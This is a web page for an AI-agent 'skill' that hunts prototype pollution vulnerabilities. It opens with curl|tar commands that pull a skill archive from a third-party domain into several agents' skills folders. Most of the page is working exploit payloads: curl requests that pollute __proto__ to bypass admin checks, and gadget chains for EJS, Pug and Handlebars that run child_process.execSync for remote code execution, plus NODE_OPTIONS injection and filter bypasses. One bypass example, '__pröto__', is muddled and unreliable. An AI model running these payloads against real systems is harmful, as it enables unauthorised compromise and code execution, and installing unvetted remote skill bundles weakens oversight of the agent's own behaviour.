hunt-prototype-pollution – Security skill for AI agents
Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE.
Install the hunt-prototype-pollution skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-prototype-pollution-f3abc.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-prototype-pollution – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-prototype-pollution-f3abc.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-prototype-pollution – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-prototype-pollution-f3abc.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-prototype-pollution – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-prototype-pollution-f3abc.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-prototype-pollution – then describe the task you want done.
SKILL.md content
Prototype Pollution Hunting
Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).
When to Use
- Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
- jQuery
$.extend(true, ...)or$.fn.merge()with deep copy on untrusted data. - Lodash
_.merge(),_.defaultsDeep(),_.set()receiving request body/query params. - Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
- Server-side Node.js with
child_process.exec/spawnaccessible via polluted options.
Quick Detection
# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'Procedure
Phase 1 — Client-Side Pollution Vectors
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted
# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
-d '__proto__[polluted]=true'
# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'Phase 2 — Server-Side RCE via Gadget Chains
EJS RCE (outputFunctionName):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'Pug RCE (self.block):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'Handlebars RCE (compileFunction):
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'NODE_OPTIONS injection:
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'Phase 3 — Filter Bypass Techniques
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1 # blocked
https://target.com/?__pröto__[test]=1 # bypass (ä normalizes to a)
# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"constructor":{"prototype":{"polluted":true}}}'
# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"__proto__":{"polluted":[]}}' # forces array coercion
# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"Phase 4 — Client-Side Exploitation
// Verify pollution in browser console
Object.prototype.polluted // should return the injected value
// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}
// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnPropertyPhase 5 — Second-Order Pollution
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"name":{"__proto__":{"isAdmin":true}}}'
# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that contextPitfalls
- Not every
__proto__in a request is a finding. Only report when the polluted property actually affects application behavior. - Node.js 12+ and newer lodash versions have partial mitigations. Test with older versions first.
- Server-side pollution requires a gadget. Polluting random objects without reaching a sink (exec, eval, template) has no impact.
- BlackFan's client-side prototype pollution catalog is the canonical reference — cross-check findings against it.
Verification
1. Inject __proto__[test]=value and verify Object.prototype.test === value in browser console or server response.
2. For RCE: confirm command execution produces output (id/whoami) in a visible sink.
3. For XSS: verify the polluted property reaches innerHTML, eval, document.write, or a script src attribute.
4. Document the exact merge/copy function and the polluted property chain.
Related Skills
hunt-nodejs— Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.hunt-xss— DOM XSS often exploitable through client-side prototype pollution.hunt-api-misconfig— Object merge on request bodies withouthasOwnPropertychecks.
Related skills
- hunt-race-condition – Hunting skill for race condition vulnerabilities. Built from 12 public bug bounty…
- hunt-rce – Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when…
- hunt-sharepoint – Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms —…
- dependency-auditor – Audit and manage dependencies across multi-language projects. Identifies…
- hunt-springboot – Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers…
- pci-compliance – Implement PCI DSS compliance requirements for secure handling of payment card data and…
- hunt-sqli – Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports…
- hunt-ssrf – Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports…